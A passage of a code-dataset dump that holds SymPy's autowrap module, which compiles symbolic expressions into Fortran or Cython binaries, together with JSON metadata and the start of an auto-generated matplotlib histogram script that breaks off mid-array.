subs={x: 1, y:2})\n    0.e-110\n\nThe idea is that a SymPy user will primarily be interested in working with\nmathematical expressions, and should not have to learn details about wrapping\ntools in order to evaluate expressions numerically, even if they are\ncomputationally expensive.\n\nWhen is this useful?\n\n    1) For computations on large arrays, Python iterations may be too slow,\n       and depending on the mathematical expression, it may be difficult to\n       exploit the advanced index operations provided by NumPy.\n\n    2) For *really* long expressions that will be called repeatedly, the\n       compiled binary should be significantly faster than SymPy's .evalf()\n\n    3) If you are generating code with the codegen utility in order to use\n       it in another project, the automatic python wrappers let you test the\n       binaries immediately from within SymPy.\n\n    4) To create customized ufuncs for use with numpy arrays.\n       See *ufuncify*.\n\nWhen is this module NOT the best approach?\n\n    1) If you are really concerned about speed or memory optimizations,\n       you will probably get better results by working directly with the\n       wrapper tools and the low level code.  However, the files generated\n       by this utility may provide a useful starting point and reference\n       code. Temporary files will be left intact if you supply the keyword\n       tempdir=\"path/to/files/\".\n\n    2) If the array computation can be handled easily by numpy, and you\n       don't need the binaries for another project.\n\n\"\"\"\n\nfrom __future__ import print_function, division\n\n_doctest_depends_on = { 'exe': ('f2py', 'gfortran'), 'modules': ('numpy',)}\n\nimport sys\nimport os\nimport shutil\nimport tempfile\nfrom subprocess import STDOUT, CalledProcessError\n\nfrom sympy.core.compatibility import check_output\nfrom sympy.utilities.codegen import (\n    get_code_generator, Routine, OutputArgument, InOutArgument,\n    CodeGenArgumentListError, Result\n)\nfrom sympy.utilities.lambdify import implemented_function\nfrom sympy.utilities.decorator import doctest_depends_on\nfrom sympy import C\n\n\nclass CodeWrapError(Exception):\n    pass\n\n\nclass CodeWrapper:\n    \"\"\"Base Class for code wrappers\"\"\"\n    _filename = \"wrapped_code\"\n    _module_basename = \"wrapper_module\"\n    _module_counter = 0\n\n    @property\n    def filename(self):\n        return \"%s_%s\" % (self._filename, CodeWrapper._module_counter)\n\n    @property\n    def module_name(self):\n        return \"%s_%s\" % (self._module_basename, CodeWrapper._module_counter)\n\n    def __init__(self, generator, filepath=None, flags=[], verbose=False):\n        \"\"\"\n        generator -- the code generator to use\n        \"\"\"\n        self.generator = generator\n        self.filepath = filepath\n        self.flags = flags\n        self.quiet = not verbose\n\n    @property\n    def include_header(self):\n        return bool(self.filepath)\n\n    @property\n    def include_empty(self):\n        return bool(self.filepath)\n\n    def _generate_code(self, main_routine, routines):\n        routines.append(main_routine)\n        self.generator.write(\n            routines, self.filename, True, self.include_header,\n            self.include_empty)\n\n    def wrap_code(self, routine, helpers=[]):\n\n        workdir = self.filepath or tempfile.mkdtemp(\"_sympy_compile\")\n        if not os.access(workdir, os.F_OK):\n            os.mkdir(workdir)\n        oldwork = os.getcwd()\n        os.chdir(workdir)\n        try:\n            sys.path.append(workdir)\n            self._generate_code(routine, helpers)\n            self._prepare_files(routine)\n            self._process_files(routine)\n            mod = __import__(self.module_name)\n        finally:\n            sys.path.remove(workdir)\n            CodeWrapper._module_counter += 1\n            os.chdir(oldwork)\n            if not self.filepath:\n                shutil.rmtree(workdir)\n\n        return self._get_wrapped_function(mod)\n\n    def _process_files(self, routine):\n        command = self.command\n        command.extend(self.flags)\n        try:\n            retoutput = check_output(command, stderr=STDOUT)\n        except CalledProcessError as e:\n            raise CodeWrapError(\n                \"Error while executing command: %s. Command output is:\\n%s\" % (\n                    \" \".join(command), e.output))\n        if not self.quiet:\n            print(retoutput)\n\n\nclass DummyWrapper(CodeWrapper):\n    \"\"\"Class used for testing independent of backends \"\"\"\n\n    template = \"\"\"# dummy module for testing of SymPy\ndef %(name)s():\n    return \"%(expr)s\"\n%(name)s.args = \"%(args)s\"\n%(name)s.returns = \"%(retvals)s\"\n\"\"\"\n\n    def _prepare_files(self, routine):\n        return\n\n    def _generate_code(self, routine, helpers):\n        with open('%s.py' % self.module_name, 'w') as f:\n            printed = \", \".join(\n                [str(res.expr) for res in routine.result_variables])\n            # convert OutputArguments to return value like f2py\n            inargs = filter(lambda x: not isinstance(\n                x, OutputArgument), routine.arguments)\n            retvals = []\n            for val in routine.result_variables:\n                if isinstance(val, Result):\n                    retvals.append('nameless')\n                else:\n                    retvals.append(val.result_var)\n\n            print(DummyWrapper.template % {\n                'name': routine.name,\n                'expr': printed,\n                'args': \", \".join([str(arg.name) for arg in inargs]),\n                'retvals': \", \".join([str(val) for val in retvals])\n            }, end=\"\", file=f)\n\n    def _process_files(self, routine):\n        return\n\n    @classmethod\n    def _get_wrapped_function(cls, mod):\n        return mod.autofunc\n\n\nclass CythonCodeWrapper(CodeWrapper):\n    \"\"\"Wrapper that uses Cython\"\"\"\n\n    setup_template = \"\"\"\nfrom distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\n\nsetup(\n    cmdclass = {'build_ext': build_ext},\n    ext_modules = [Extension(%(args)s)]\n        )\n\"\"\"\n\n    @property\n    def command(self):\n        command = [sys.executable, \"setup.py\", \"build_ext\", \"--inplace\"]\n        return command\n\n    def _prepare_files(self, routine):\n        pyxfilename = self.module_name + '.pyx'\n        codefilename = \"%s.%s\" % (self.filename, self.generator.code_extension)\n\n        # pyx\n        with open(pyxfilename, 'w') as f:\n            self.dump_pyx([routine], f, self.filename,\n                self.include_header, self.include_empty)\n\n        # setup.py\n        ext_args = [repr(self.module_name), repr([pyxfilename, codefilename])]\n        with open('setup.py', 'w') as f:\n            print(CythonCodeWrapper.setup_template % {\n                'args': \", \".join(ext_args)}, file=f)\n\n    @classmethod\n    def _get_wrapped_function(cls, mod):\n        return mod.autofunc_c\n\n    def dump_pyx(self, routines, f, prefix, header=True, empty=True):\n        \"\"\"Write a Cython file with python wrappers\n\n           This file contains all the definitions of the routines in c code and\n           refers to the header file.\n\n           :Arguments:\n\n           routines\n                List of Routine instances\n           f\n                File-like object to write the file to\n           prefix\n                The filename prefix, used to refer to the proper header file.\n                Only the basename of the prefix is used.\n           empty\n                Optional. When True, empty lines are included to structure the\n                source files. [DEFAULT=True]\n        \"\"\"\n        for routine in routines:\n            prototype = self.generator.get_prototype(routine)\n\n            # declare\n            print('cdef extern from \"%s.h\":' % prefix, file=f)\n            print('   %s' % prototype, file=f)\n            if empty:\n                print(file=f)\n\n            # wrap\n            ret, args_py = self._split_retvals_inargs(routine.arguments)\n            args_c = \", \".join([str(a.name) for a in routine.arguments])\n            print(\"def %s_c(%s):\" % (routine.name,\n                \", \".join(self._declare_arg(arg) for arg in args_py)), file=f)\n            for r in ret:\n                if not r in args_py:\n                    print(\"   cdef %s\" % self._declare_arg(r), file=f)\n            rets = \", \".join([str(r.name) for r in ret])\n            if routine.results:\n                call = '   return %s(%s)' % (routine.name, args_c)\n                if rets:\n                    print(call + ', ' + rets, file=f)\n                else:\n                    print(call, file=f)\n            else:\n                print('   %s(%s)' % (routine.name, args_c), file=f)\n                print('   return %s' % rets, file=f)\n\n            if empty:\n                print(file=f)\n    dump_pyx.extension = \"pyx\"\n\n    def _split_retvals_inargs(self, args):\n        \"\"\"Determines arguments and return values for python wrapper\"\"\"\n        py_args = []\n        py_returns = []\n        for arg in args:\n            if isinstance(arg, OutputArgument):\n                py_returns.append(arg)\n            elif isinstance(arg, InOutArgument):\n                py_returns.append(arg)\n                py_args.append(arg)\n            else:\n                py_args.append(arg)\n        return py_returns, py_args\n\n    def _declare_arg(self, arg):\n        t = arg.get_datatype('c')\n        if arg.dimensions:\n            return \"%s *%s\" % (t, str(arg.name))\n        else:\n            return \"%s %s\" % (t, str(arg.name))\n\n\nclass F2PyCodeWrapper(CodeWrapper):\n    \"\"\"Wrapper that uses f2py\"\"\"\n\n    @property\n    def command(self):\n        filename = self.filename + '.' + self.generator.code_extension\n        command = [\"f2py\", \"-m\", self.module_name, \"-c\", filename]\n        return command\n\n    def _prepare_files(self, routine):\n        pass\n\n    @classmethod\n    def _get_wrapped_function(cls, mod):\n        return mod.autofunc\n\n\ndef _get_code_wrapper_class(backend):\n    wrappers = { 'F2PY': F2PyCodeWrapper, 'CYTHON': CythonCodeWrapper,\n        'DUMMY': DummyWrapper}\n    return wrappers[backend.upper()]\n\n\n@doctest_depends_on(exe=('f2py', 'gfortran'), modules=('numpy',))\ndef autowrap(\n    expr, language='F95', backend='f2py', tempdir=None, args=None, flags=[],\n        verbose=False, helpers=[]):\n    \"\"\"Generates python callable binaries based on the math expression.\n\n    expr\n        The SymPy expression that should be wrapped as a binary routine\n\n    :Optional arguments:\n\n    language\n        The programming language to use, currently 'C' or 'F95'\n    backend\n        The wrapper backend to use, currently f2py or Cython\n    tempdir\n        Path to directory for temporary files.  If this argument is supplied,\n        the generated code and the wrapper input files are left intact in the\n        specified path.\n    args\n        Sequence of the formal parameters of the generated code, if ommited the\n        function signature is determined by the code generator.\n    flags\n        Additional option flags that will be passed to the backend\n    verbose\n        If True, autowrap will not mute the command line backends.  This can be\n        helpful for debugging.\n    helpers\n        Used to define auxillary expressions needed for the main expr.  If the\n        main expression need to do call a specialized function it should be put\n        in the ``helpers`` list.  Autowrap will then make sure that the compiled\n        main expression can link to the helper routine.  Items should be tuples\n        with (<funtion_name>, <sympy_expression>, <arguments>).  It is\n        mandatory to supply an argument sequence to helper routines.\n\n    >>> from sympy.abc import x, y, z\n    >>> from sympy.utilities.autowrap import autowrap\n    >>> expr = ((x - y + z)**(13)).expand()\n    >>> binary_func = autowrap(expr)\n    >>> binary_func(1, 4, 2)\n    -1.0\n\n    \"\"\"\n\n    code_generator = get_code_generator(language, \"autowrap\")\n    CodeWrapperClass = _get_code_wrapper_class(backend)\n    code_wrapper = CodeWrapperClass(code_generator, tempdir, flags, verbose)\n    try:\n        routine = Routine('autofunc', expr, args)\n    except CodeGenArgumentListError as e:\n        # if all missing arguments are for pure output, we simply attach them\n        # at the end and try again, because the wrappers will silently convert\n        # them to return values anyway.\n        new_args = []\n        for missing in e.missing_args:\n            if not isinstance(missing, OutputArgument):\n                raise\n            new_args.append(missing.name)\n        routine = Routine('autofunc', expr, args + new_args)\n\n    helps = []\n    for name, expr, args in helpers:\n        helps.append(Routine(name, expr, args))\n\n    return code_wrapper.wrap_code(routine, helpers=helps)\n\n\n@doctest_depends_on (exe=('f2py', 'gfortran'), modules=('numpy',))\ndef binary_function(symfunc, expr, **kwargs):\n    \"\"\"Returns a sympy function with expr as binary implementation\n\n    This is a convenience function that automates the steps needed to\n    autowrap the SymPy expression and attaching it to a Function object\n    with implemented_function().\n\n    >>> from sympy.abc import x, y\n    >>> from sympy.utilities.autowrap import binary_function\n    >>> expr = ((x - y)**(25)).expand()\n    >>> f = binary_function('f', expr)\n    >>> type(f)\n    <class 'sympy.core.function.UndefinedFunction'>\n    >>> 2*f(x, y)\n    2*f(x, y)\n    >>> f(x, y).evalf(2, subs={x: 1, y: 2})\n    -1.0\n    \"\"\"\n    binary = autowrap(expr, **kwargs)\n    return implemented_function(symfunc, binary)\n\n@doctest_depends_on (exe=('f2py', 'gfortran'), modules=('numpy',))\ndef ufuncify(args, expr, **kwargs):\n    \"\"\"\n    Generates a binary ufunc-like lambda function for numpy arrays\n\n    ``args``\n        Either a Symbol or a tuple of symbols. Specifies the argument sequence\n        for the ufunc-like function.\n\n    ``expr``\n        A SymPy expression that defines the element wise operation\n\n    ``kwargs``\n        Optional keyword arguments are forwarded to autowrap().\n\n    The returned function can only act on one array at a time, as only the\n    first argument accept arrays as input.\n\n    .. Note:: a *proper* numpy ufunc is required to support broadcasting, type\n       casting and more.  The function returned here, may not qualify for\n       numpy's definition of a ufunc.  That why we use the term ufunc-like.\n\n    References\n    ==========\n    [1] http://docs.scipy.org/doc/numpy/reference/ufuncs.html\n\n    Examples\n    ========\n\n    >>> from sympy.utilities.autowrap import ufuncify\n    >>> from sympy.abc import x, y\n    >>> import numpy as np\n    >>> f = ufuncify([x, y], y + x**2)\n    >>> f([1, 2, 3], 2)\n    [ 3.  6.  11.]\n    >>> a = f(np.arange(5), 3)\n    >>> isinstance(a, np.ndarray)\n    True\n    >>> print a\n    [ 3. 4. 7. 12. 19.]\n\n    \"\"\"\n    y = C.IndexedBase(C.Dummy('y'))\n    x = C.IndexedBase(C.Dummy('x'))\n    m = C.Dummy('m', integer=True)\n    i = C.Dummy('i', integer=True)\n    i = C.Idx(i, m)\n    l = C.Lambda(args, expr)\n    f = implemented_function('f', l)\n\n    if isinstance(args, C.Symbol):\n        args = [args]\n    else:\n        args = list(args)\n\n    # first argument accepts an array\n    args[0] = x[i]\n    return autowrap(C.Equality(y[i], f(*args)), **kwargs)\n", "meta": {"hexsha": "6a47099c356afd3593e1d5d364c0b970357577ec", "size": 16352, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/utilities/autowrap.py", "max_stars_repo_name": "lidavidm/sympy", "max_stars_repo_head_hexsha": "971aa94ee6d0774eacfb4aed6965195c4a59e104", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-03-12T02:52:16.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-12T02:52:16.000Z", "max_issues_repo_path": "sympy/utilities/autowrap.py", "max_issues_repo_name": "lidavidm/sympy", "max_issues_repo_head_hexsha": "971aa94ee6d0774eacfb4aed6965195c4a59e104", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/utilities/autowrap.py", "max_forks_repo_name": "lidavidm/sympy", "max_forks_repo_head_hexsha": "971aa94ee6d0774eacfb4aed6965195c4a59e104", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.5770020534, "max_line_length": 80, "alphanum_fraction": 0.624694227, "include": true, "reason": "import numpy,from sympy", "num_tokens": 3879, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713673161914675, "lm_q2_score": 0.17553807362342935, "lm_q1q2_score": 0.08024490125093564}}
{"text": "def selection_1():\n\n    # Library import\n    import numpy\n    import matplotlib\n    import matplotlib.pyplot   as plt\n    import matplotlib.gridspec as gridspec\n\n    # Library version\n    matplotlib_version = matplotlib.__version__\n    numpy_version      = numpy.__version__\n\n    # Histo binning\n    xBinning = numpy.linspace(0.0,2000.0,201,endpoint=True)\n\n    # Creating data sequence: middle of each bin\n    xData = numpy.array([5.0,15.0,25.0,35.0,45.0,55.0,65.0,75.0,85.0,95.0,105.0,115.0,125.0,135.0,145.0,155.0,165.0,175.0,185.0,195.0,205.0,215.0,225.0,235.0,245.0,255.0,265.0,275.0,285.0,295.0,305.0,315.0,325.0,335.0,345.0,355.0,365.0,375.0,385.0,395.0,405.0,415.0,425.0,435.0,445.0,455.0,465.0,475.0,485.0,495.0,505.0,515.0,525.0,535.0,545.0,555.0,565.0,575.0,585.0,595.0,605.0,615.0,625.0,635.0,645.0,655.0,665.0,675.0,685.0,695.0,705.0,715.0,725.0,735.0,745.0,755.0,765.0,775.0,785.0,795.0,805.0,815.0,825.0,835.0,845.0,855.0,865.0,875.0,885.0,895.0,905.0,915.0,925.0,935.0,945.0,955.0,965.0,975.0,985.0,995.0,1005.0,1015.0,1025.0,1035.0,1045.0,1055.0,1065.0,1075.0,1085.0,1095.0,1105.0,1115.0,1125.0,1135.0,1145.0,1155.0,1165.0,1175.0,1185.0,1195.0,1205.0,1215.0,1225.0,1235.0,1245.0,1255.0,1265.0,1275.0,1285.0,1295.0,1305.0,1315.0,1325.0,1335.0,1345.0,1355.0,1365.0,1375.0,1385.0,1395.0,1405.0,1415.0,1425.0,1435.0,1445.0,1455.0,1465.0,1475.0,1485.0,1495.0,1505.0,1515.0,1525.0,1535.0,1545.0,1555.0,1565.0,1575.0,1585.0,1595.0,1605.0,1615.0,1625.0,1635.0,1645.0,1655.0,1665.0,1675.0,1685.0,1695.0,1705.0,1715.0,1725.0,1735.0,1745.0,1755.0,1765.0,1775.0,1785.0,1795.0,1805.0,1815.0,1825.0,1835.0,1845.0,1855.0,1865.0,1875.0,1885.0,1895.0,1905.0,1915.0,1925.0,1935.0,1945.0,1955.0,1965.0,1975.0,1985.0,1995.0])\n\n    # Creating weights for histo: y2_ETA_0\n    y2_ETA_0_weights = numpy.array([533.827620476,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_1\n    y2_ETA_1_weights = numpy.array([182.061523905,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_2\n    y2_ETA_2_weights = numpy.array([1129.81967842,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_3\n    y2_ETA_3_weights = numpy.array([1019.84590835,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_4\n    y2_ETA_4_weights = numpy.array([139.60083203,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_5\n    y2_ETA_5_weights = numpy.array([23.8961307169,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_6\n    y2_ETA_6_weights = numpy.array([6.03223822146,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_7\n    y2_ETA_7_weights = numpy.array([0.335560037195,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_8\n    y2_ETA_8_weights = 